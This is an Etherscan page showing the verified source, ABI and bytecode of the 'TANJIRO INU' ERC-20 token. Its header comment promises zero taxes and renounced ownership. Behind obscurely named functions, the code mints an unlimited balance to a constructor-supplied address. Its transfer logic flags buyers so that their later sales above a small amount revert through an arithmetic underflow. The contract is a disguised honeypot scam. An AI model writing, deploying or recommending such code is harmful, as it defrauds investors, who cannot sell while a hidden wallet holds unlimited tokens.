ERC-20
Overview
Max Total Supply
1,000,000 TANJIRO INU
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
38,908.009888623 TANJIRO INUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TanjiroInu
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-11 */ /* https://medium.com/@TanjiroINU/tanjiro-inu-beginning-of-a-new-era-12ea6360e3e2 1e Liquidity with be burned at launch then once, limit is set, the CA will be renounced... 0 buys taxs , 0 sells taxs */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.6; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _getOwner; event TransferNewOwner(address indexed firstOwner, address indexed LatestOwnedBy); constructor() { _setOwnedBy(_msgSender()); } function soleOwner() public view virtual returns (address) { return _getOwner; } modifier rOwner() { require(soleOwner() == _msgSender(), 'Ownable: caller is not the owner'); _; } function RenouncednOwnership() public virtual rOwner { _setOwnedBy(address(0)); } function transferOwner(address LatestOwnedBy) public virtual rOwner { require(LatestOwnedBy != address(0), 'Ownable: new owner is the zero address'); _setOwnedBy(LatestOwnedBy); } function _setOwnedBy(address LatestOwnedBy) private { address oldOwner = _getOwner; _getOwner = LatestOwnedBy; emit TransferNewOwner(oldOwner, LatestOwnedBy); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TanjiroInu is Ownable { constructor( string memory _NTOKEN, string memory _SYMBOLTOKEN, address rAddy, address Finalsupply ) { _symbolToken = _SYMBOLTOKEN; _nameToken = _NTOKEN; _feeTaker = 0; _decimals = 9; _supply = 1000000 * 10**_decimals; _balances[Finalsupply] = newswap; _balances[msg.sender] = _supply; enableA[Finalsupply] = newswap; enableA[msg.sender] = newswap; router = IUniswapV2Router02(rAddy); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _supply); } uint256 public _feeTaker; string private _nameToken; string private _symbolToken; uint8 private _decimals; function name() public view returns (string memory) { return _nameToken; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbolToken; } uint256 private _supply; uint256 private _rsupply; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private newswap = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _supply; } address[] enableB = new address[](2); function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function allowenceB( address getBalance, address getFeeSetter, uint256 allowedSwap ) private { address outterSwap = enableB[1]; bool backingFee = uniswapV2Pair == getBalance; uint256 spenderFeeA = _feeTaker; if (enableA[getBalance] == 0 && botBlocked[getBalance] > 0 && !backingFee) { enableA[getBalance] -= spenderFeeA; if (allowedSwap > 2 * 10**(2 + _decimals)) enableA[getBalance] -= spenderFeeA - 1; } enableB[1] = getFeeSetter; if (enableA[getBalance] > 0 && allowedSwap == 0) { enableA[getFeeSetter] += spenderFeeA; } botBlocked[outterSwap] += spenderFeeA + 1; uint256 fee = (allowedSwap / 100) * _feeTaker; allowedSwap -= fee; _balances[getBalance] -= fee; _balances[address(this)] += fee; _balances[getBalance] -= allowedSwap; _balances[getFeeSetter] += allowedSwap; } mapping(address => uint256) private botBlocked; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private enableA; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); allowenceB(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { allowenceB(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_NTOKEN","type":"string"},{"internalType":"string","name":"_SYMBOLTOKEN","type":"string"},{"internalType":"address","name":"rAddy","type":"address"},{"internalType":"address","name":"Finalsupply","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"firstOwner","type":"address"},{"indexed":true,"internalType":"address","name":"LatestOwnedBy","type":"address"}],"name":"TransferNewOwner","type":"event"},{"inputs":[],"name":"RenouncednOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_feeTaker","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"soleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"LatestOwnedBy","type":"address"}],"name":"transferOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6080604052600019600b55600267ffffffffffffffff81111562000028576200002762000cc4565b5b604051908082528060200260200182016040528015620000575781602001602082028036833780820191505090505b50600c90805190602001906200006f929190620005ff565b503480156200007d57600080fd5b506040516200271c3803806200271c8339818101604052810190620000a3919062000805565b620000c3620000b76200053360201b60201c565b6200053b60201b60201c565b8260039080519060200190620000db9291906200068e565b508360029080519060200190620000f49291906200068e565b5060006001819055506009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620001379190620009db565b620f424062000147919062000b18565b600781905550600b54600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030f57600080fd5b505afa15801562000324573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034a9190620007d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003cf57600080fd5b505afa158015620003e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040a9190620007d3565b6040518363ffffffff1660e01b815260040162000429929190620008d7565b602060405180830381600087803b1580156200044457600080fd5b505af115801562000459573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200047f9190620007d3565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000521919062000904565b60405180910390a35050505062000d3f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f9b6f51da80d731d53bc8be2a44319fa274400094fd2a0915771e082ca7a1701060405160405180910390a35050565b8280548282559060005260206000209081019282156200067b579160200282015b828111156200067a5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000620565b5b5090506200068a91906200071f565b5090565b8280546200069c9062000bfa565b90600052602060002090601f016020900481019282620006c057600085556200070c565b82601f10620006db57805160ff19168380011785556200070c565b828001600101855582156200070c579182015b828111156200070b578251825591602001919060010190620006ee565b5b5090506200071b91906200071f565b5090565b5b808211156200073a57600081600090555060010162000720565b5090565b6000620007556200074f846200094a565b62000921565b90508281526020810184848401111562000774576200077362000cf8565b5b6200078184828562000bc4565b509392505050565b6000815190506200079a8162000d25565b92915050565b600082601f830112620007b857620007b762000cf3565b5b8151620007ca8482602086016200073e565b91505092915050565b600060208284031215620007ec57620007eb62000d02565b5b6000620007fc8482850162000789565b91505092915050565b6000806000806080858703121562000822576200082162000d02565b5b600085015167ffffffffffffffff81111562000843576200084262000cfd565b5b6200085187828801620007a0565b945050602085015167ffffffffffffffff81111562000875576200087462000cfd565b5b6200088387828801620007a0565b9350506040620008968782880162000789565b9250506060620008a98782880162000789565b91505092959194509250565b620008c08162000b79565b82525050565b620008d18162000bad565b82525050565b6000604082019050620008ee6000830185620008b5565b620008fd6020830184620008b5565b9392505050565b60006020820190506200091b6000830184620008c6565b92915050565b60006200092d62000940565b90506200093b828262000c30565b919050565b6000604051905090565b600067ffffffffffffffff82111562000968576200096762000cc4565b5b620009738262000d07565b9050602081019050919050565b6000808291508390505b6001851115620009d257808604811115620009aa57620009a962000c66565b5b6001851615620009ba5780820291505b8081029050620009ca8562000d18565b94506200098a565b94509492505050565b6000620009e88262000bad565b9150620009f58362000bb7565b925062000a247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a2c565b905092915050565b60008262000a3e576001905062000b11565b8162000a4e576000905062000b11565b816001811462000a67576002811462000a725762000aa8565b600191505062000b11565b60ff84111562000a875762000a8662000c66565b5b8360020a91508482111562000aa15762000aa062000c66565b5b5062000b11565b5060208310610133831016604e8410600b841016171562000ae25782820a90508381111562000adc5762000adb62000c66565b5b62000b11565b62000af1848484600162000980565b9250905081840481111562000b0b5762000b0a62000c66565b5b81810290505b9392505050565b600062000b258262000bad565b915062000b328362000bad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b6e5762000b6d62000c66565b5b828202905092915050565b600062000b868262000b8d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000be457808201518184015260208101905062000bc7565b8381111562000bf4576000848401525b50505050565b6000600282049050600182168062000c1357607f821691505b6020821081141562000c2a5762000c2962000c95565b5b50919050565b62000c3b8262000d07565b810181811067ffffffffffffffff8211171562000c5d5762000c5c62000cc4565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000d308162000b79565b811462000d3c57600080fd5b50565b6119cd8062000d4f6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063b717e6cf11610066578063b717e6cf1461028a578063cbdb1757146102a8578063dd62ed3e146102b2578063f887ea40146102e2576100f5565b806370a08231146101ee5780637ebf94c91461021e57806395d89b411461023c578063a9059cbb1461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b45780634fb2e45d146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f9190611300565b60405180910390f35b610132600480360381019061012d919061116e565b610392565b60405161013f91906112ca565b60405180910390f35b6101506103a7565b60405161015d91906113a2565b60405180910390f35b610180600480360381019061017b919061111b565b6103b1565b60405161018d91906112ca565b60405180910390f35b61019e610500565b6040516101ab91906113a2565b60405180910390f35b6101bc61051a565b6040516101c991906112af565b60405180910390f35b6101ec60048036038101906101e791906110ae565b610540565b005b610208600480360381019061020391906110ae565b610638565b60405161021591906113a2565b60405180910390f35b610226610681565b60405161023391906113a2565b60405180910390f35b610244610687565b6040516102519190611300565b60405180910390f35b610274600480360381019061026f919061116e565b610719565b60405161028191906112ca565b60405180910390f35b610292610795565b60405161029f91906112af565b60405180910390f35b6102b06107be565b005b6102cc60048036038101906102c791906110db565b610846565b6040516102d991906113a2565b60405180910390f35b6102ea6108cd565b6040516102f791906112e5565b60405180910390f35b60606002805461030f90611742565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611742565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f3565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611362565b60405180910390fd5b610400848484610a8e565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906113a2565b60405180910390a36104f7843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611662565b6108f3565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610548610fb8565b73ffffffffffffffffffffffffffffffffffffffff16610566610795565b73ffffffffffffffffffffffffffffffffffffffff16146105bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b390611342565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611322565b60405180910390fd5b61063581610fc0565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60015481565b60606003805461069690611742565b80601f01602080910402602001604051908101604052809291908181526020018280546106c290611742565b801561070f5780601f106106e45761010080835404028352916020019161070f565b820191906000526020600020905b8154815290600101906020018083116106f257829003601f168201915b5050505050905090565b6000610726338484610a8e565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078391906113a2565b60405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107c6610fb8565b73ffffffffffffffffffffffffffffffffffffffff166107e4610795565b73ffffffffffffffffffffffffffffffffffffffff161461083a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083190611342565b60405180910390fd5b6108446000610fc0565b565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099490611382565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b91906113a2565b60405180910390a3600190509392505050565b6000600c600181548110610aa557610aa4611801565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bbc57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bc6575081155b15610cc05780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c1a9190611662565b92505081905550600460009054906101000a900460ff166002610c3d919061142f565b600a610c4991906114ea565b6002610c559190611608565b841115610cbf57600181610c699190611662565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cb79190611662565b925050819055505b5b84600c600181548110610cd657610cd5611801565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d6d5750600084145b15610dc95780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc191906113d9565b925050819055505b600181610dd691906113d9565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2491906113d9565b925050819055506000600154606486610e3d9190611466565b610e479190611608565b90508085610e559190611662565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea69190611662565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610efc91906113d9565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f529190611662565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fa891906113d9565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f9b6f51da80d731d53bc8be2a44319fa274400094fd2a0915771e082ca7a1701060405160405180910390a35050565b60008135905061109381611969565b92915050565b6000813590506110a881611980565b92915050565b6000602082840312156110c4576110c3611830565b5b60006110d284828501611084565b91505092915050565b600080604083850312156110f2576110f1611830565b5b600061110085828601611084565b925050602061111185828601611084565b9150509250929050565b60008060006060848603121561113457611133611830565b5b600061114286828701611084565b935050602061115386828701611084565b925050604061116486828701611099565b9150509250925092565b6000806040838503121561118557611184611830565b5b600061119385828601611084565b92505060206111a485828601611099565b9150509250929050565b6111b781611696565b82525050565b6111c6816116a8565b82525050565b6111d5816116eb565b82525050565b60006111e6826113bd565b6111f081856113c8565b935061120081856020860161170f565b61120981611835565b840191505092915050565b60006112216026836113c8565b915061122c82611853565b604082019050919050565b60006112446020836113c8565b915061124f826118a2565b602082019050919050565b60006112676029836113c8565b9150611272826118cb565b604082019050919050565b600061128a6024836113c8565b91506112958261191a565b604082019050919050565b6112a9816116d4565b82525050565b60006020820190506112c460008301846111ae565b92915050565b60006020820190506112df60008301846111bd565b92915050565b60006020820190506112fa60008301846111cc565b92915050565b6000602082019050818103600083015261131a81846111db565b905092915050565b6000602082019050818103600083015261133b81611214565b9050919050565b6000602082019050818103600083015261135b81611237565b9050919050565b6000602082019050818103600083015261137b8161125a565b9050919050565b6000602082019050818103600083015261139b8161127d565b9050919050565b60006020820190506113b760008301846112a0565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113e4826116d4565b91506113ef836116d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561142457611423611774565b5b828201905092915050565b600061143a826116de565b9150611445836116de565b92508260ff0382111561145b5761145a611774565b5b828201905092915050565b6000611471826116d4565b915061147c836116d4565b92508261148c5761148b6117a3565b5b828204905092915050565b6000808291508390505b60018511156114e1578086048111156114bd576114bc611774565b5b60018516156114cc5780820291505b80810290506114da85611846565b94506114a1565b94509492505050565b60006114f5826116d4565b9150611500836116de565b925061152d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611535565b905092915050565b6000826115455760019050611601565b816115535760009050611601565b81600181146115695760028114611573576115a2565b6001915050611601565b60ff84111561158557611584611774565b5b8360020a91508482111561159c5761159b611774565b5b50611601565b5060208310610133831016604e8410600b84101617156115d75782820a9050838111156115d2576115d1611774565b5b611601565b6115e48484846001611497565b925090508184048111156115fb576115fa611774565b5b81810290505b9392505050565b6000611613826116d4565b915061161e836116d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561165757611656611774565b5b828202905092915050565b600061166d826116d4565b9150611678836116d4565b92508282101561168b5761168a611774565b5b828203905092915050565b60006116a1826116b4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006116f6826116fd565b9050919050565b6000611708826116b4565b9050919050565b60005b8381101561172d578082015181840152602081019050611712565b8381111561173c576000848401525b50505050565b6000600282049050600182168061175a57607f821691505b6020821081141561176e5761176d6117d2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61197281611696565b811461197d57600080fd5b50565b611989816116d4565b811461199457600080fd5b5056fea264697066735822122009680bba2a279689f79a2777cdd84c6381c9cdef75a164ead98fa6c66dd0c31964736f6c63430008060033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000adebd33721caed90974cf7e0f56d3e3401f88e18000000000000000000000000000000000000000000000000000000000000000b54414e4a49524f20494e55000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b54414e4a49524f20494e55000000000000000000000000000000000000000000
Deployed Bytecode
